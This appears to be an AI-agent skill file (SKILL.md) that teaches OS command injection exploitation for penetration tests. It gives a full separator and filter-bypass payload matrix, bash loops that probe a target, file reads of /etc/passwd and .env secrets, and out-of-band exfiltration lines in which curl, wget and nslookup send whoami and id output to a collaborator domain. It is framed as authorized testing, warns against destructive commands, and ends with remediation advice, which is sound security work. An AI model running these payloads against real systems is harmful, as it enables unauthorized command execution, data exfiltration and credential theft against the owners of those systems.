exploiting-os-command-injection
$
npx mdskill add xalgord/xalgorix/exploiting-os-command-injection- During authorized penetration tests when a parameter is reflected into a system command, shell, or process invocation (ping, nslookup, ImageMagick, ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.) - When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup", "check connectivity") which are the single most common command-injection sinks - When file names, hostnames, or format parameters flow into `system()`, `exec()`, `popen()`, `subprocess` with `shell=True`, `Runtime.exec`, or backticks - After finding LFI/file upload — chaining to RCE often involves a command sink
SKILL.md
.github/skills/exploiting-os-command-injectionView on GitHub ↗
---
name: exploiting-os-command-injection
description: Identifying and exploiting OS command injection vulnerabilities in web
applications where user input is passed to a system shell, leading to arbitrary
command execution. Covers in-band, blind, and out-of-band detection across Linux
and Windows, separator and filter-bypass variants, and escalation to full RCE.
domain: cybersecurity
subdomain: web-application-security
tags:
- penetration-testing
- command-injection
- os-command-injection
- rce
- remote-code-execution
- owasp
- web-security
version: '1.0'
author: xalgorix
license: Apache-2.0
nist_csf:
- PR.PS-01
- ID.RA-01
- PR.DS-10
- DE.CM-01
---
# Exploiting OS Command Injection
## When to Use
- During authorized penetration tests when a parameter is reflected into a
system command, shell, or process invocation (ping, nslookup, ImageMagick,
ffmpeg, pdf/zip utilities, git, tar, "export to PDF", "test connection", etc.)
- When testing admin/diagnostic features ("ping host", "traceroute", "DNS lookup",
"check connectivity") which are the single most common command-injection sinks
- When file names, hostnames, or format parameters flow into `system()`,
`exec()`, `popen()`, `subprocess` with `shell=True`, `Runtime.exec`, or
backticks
- After finding LFI/file upload — chaining to RCE often involves a command sink
**Do not** run destructive commands (rm, shutdown, fork bombs) on the target.
Limit proof-of-concept to read-only commands (`id`, `whoami`, `hostname`).
## Critical: Variants Most Often Missed (test these for EVERY parameter)
Command injection is missed when only one separator is tried. For every
parameter — especially hostnames, file names, and "format" values — try the
full separator matrix in both an in-band and a blind form.
```text
# Separators — prepend with the expected-valid value to keep the command working,
# e.g. for a ping field: 127.0.0.1;id
;id # command separator (Linux/most shells)
| id # pipe
|| id # OR (runs if first fails)
& id # background / AND (Windows cmd)
&& id # AND (runs if first succeeds)
`id` # backtick substitution
$(id) # $() substitution
%0a id # newline-injected command (very commonly the ONLY one that works)
%0d%0a id
{id,} # brace bypass when spaces are filtered
\nid
# No-space variants (when spaces/IFS are filtered)
;cat</etc/passwd
;cat${IFS}/etc/passwd
;cat$IFS$9/etc/passwd
{cat,/etc/passwd}
# Windows
& whoami
&& whoami
| whoami
%0a whoami
```
### Blind / out-of-band detection (when output is NOT reflected)
Most real command injection is blind. Confirm with timing or OOB callbacks:
```text
# Time-based — a reliable, target-agnostic confirmation
;sleep 10
& ping -n 10 127.0.0.1 # Windows
;ping -c 10 127.0.0.1 # Linux
$(sleep 10)
`sleep 10`
%0asleep%2010
# Out-of-band (DNS/HTTP) using a collaborator/interactsh domain
;nslookup <unique>.oast.fun
;curl http://<unique>.oast.fun/$(whoami)
& nslookup <unique>.oast.fun # Windows
;wget --post-data="$(id)" http://<unique>.oast.fun
```
A 10-second delay that tracks the injected `sleep` value (test 0s vs 10s vs 20s
to rule out network noise), or a DNS/HTTP hit on your collaborator, confirms
injection even with no visible output.
### How to CONFIRM a hit
- In-band: response contains `uid=` / `gid=` (Linux `id`) or a Windows
`DOMAIN\user` string (`whoami`), or `Linux ... #` from `uname -a`.
- Blind time-based: response time correlates with the injected sleep duration.
- OOB: interaction (DNS or HTTP) received on your collaborator with the
expected unique subdomain — and ideally exfiltrated `whoami` output in it.
## Workflow
### Step 1: Find command sinks
```bash
# Parameters/features that commonly reach a shell:
# host, ip, domain, url, target, ping, dns, lookup, cmd, exec, command,
# file, filename, path, name, format, type, ext, page, lang, action
# Diagnostic UIs ("network tools", "test connection", "send test email",
# "export", "convert", "backup") are prime sinks.
# Baseline a known-good request first to measure normal timing/size.
curl -s -o /dev/null -w "%{http_code} %{size_download} %{time_total}s\n" \
"https://target.example.com/diag/ping?host=127.0.0.1"
```
### Step 2: Probe with the separator matrix (in-band)
```bash
HOST="https://target.example.com/diag/ping"
for p in ';id' '|id' '||id' '&id' '&&id' '`id`' '$(id)' '%0aid' '{id,}'; do
echo -n "127.0.0.1$p -> "
curl -s "$HOST?host=127.0.0.1$(python3 -c "import urllib.parse,sys;print(urllib.parse.quote(sys.argv[1]))" "$p")" \
| grep -aoE 'uid=[0-9]+\([a-z0-9_]+\)' | head -1 || echo "no marker"
done
```
### Step 3: Confirm blind injection with timing
```bash
for d in 0 10 20; do
t=$(curl -s -o /dev/null -w "%{time_total}" \
"https://target.example.com/diag/ping?host=127.0.0.1%3Bsleep%20$d")
echo "sleep $d -> ${t}s"
done
# If the response time tracks the sleep value, injection is confirmed.
```
### Step 4: Out-of-band confirmation and limited exfiltration
```bash
# Start an interactsh client (or use Burp Collaborator) and use the domain:
OOB="abcd1234.oast.fun"
curl -s "https://target.example.com/diag/ping?host=127.0.0.1%3Bcurl%20http://$OOB/%24(whoami)"
# Check the OOB client for a hit containing the resolved username.
```
### Step 5: Escalate (only within scope)
- Read files: `;cat /etc/passwd`, `;cat /var/www/html/.env`
- Identify context: `;id;uname -a;hostname;pwd`
- Establish an interactive shell only if the engagement authorizes it; prefer a
read-only PoC otherwise.
## Key Concepts
| Concept | Description |
|---------|-------------|
| **Command separator** | Shell metacharacters (`; | & && || newline`) that terminate the intended command and start an attacker one |
| **Argument injection** | Injecting extra flags (e.g. `--output`, `-o`) into a binary even when no shell separator is reachable |
| **Blind injection** | No command output is returned; confirmed via timing or out-of-band callbacks |
| **Out-of-band (OOB)** | Forcing the server to make a DNS/HTTP request to attacker infrastructure to prove execution |
| **IFS bypass** | Using `${IFS}`, `$IFS$9`, or brace expansion to inject commands when spaces are filtered |
## Tools & Systems
| Tool | Purpose |
|------|---------|
| **Burp Suite Professional** | Intercept/Repeater/Intruder for the separator matrix; Collaborator for OOB |
| **interactsh (oast.fun)** | Self-hosted/public OOB interaction server for blind detection |
| **commix** | Automated command-injection detection and exploitation |
| **ffuf** | Fuzzing parameters with a command-injection payload list |
## Common Scenarios
### Scenario 1: "Ping host" diagnostic
A network-tools page runs `ping -c 4 <host>`. Submitting `127.0.0.1;id` returns
the ping output followed by `uid=33(www-data)`, confirming injection.
### Scenario 2: Blind injection in a hostname field
A "test SMTP connection" feature gives no output. `mail.x;sleep 15` makes the
response take ~15s while a valid host returns in <1s — blind RCE confirmed via
timing, then escalated with an OOB `nslookup` callback.
### Scenario 3: Filtered spaces
Input strips spaces, so `;cat /etc/passwd` fails but
`;cat${IFS}/etc/passwd` succeeds.
## Output Format
```
## Finding: OS Command Injection in Ping Diagnostic
**Severity**: Critical (CVSS 9.8)
**Location**: GET /diag/ping?host=127.0.0.1;id
**OWASP Category**: A03:2021 - Injection
### Reproduction Steps
1. Submit host=127.0.0.1 (baseline, ~0.2s)
2. Submit host=127.0.0.1;id
3. Response contains: uid=33(www-data) gid=33(www-data)
4. Blind confirmation: host=127.0.0.1;sleep 10 -> ~10s response
### Impact
Arbitrary command execution as the web-server user; full server compromise
and pivot into the internal network are possible.
### Recommendation
1. Never pass user input to a shell. Use argument arrays / native libraries
(e.g. execve with a fixed argv, no shell) instead of system()/shell=True.
2. Strictly allowlist input (e.g. validate host is a valid IP/hostname).
3. Run the service with least privilege and egress filtering to block OOB.
```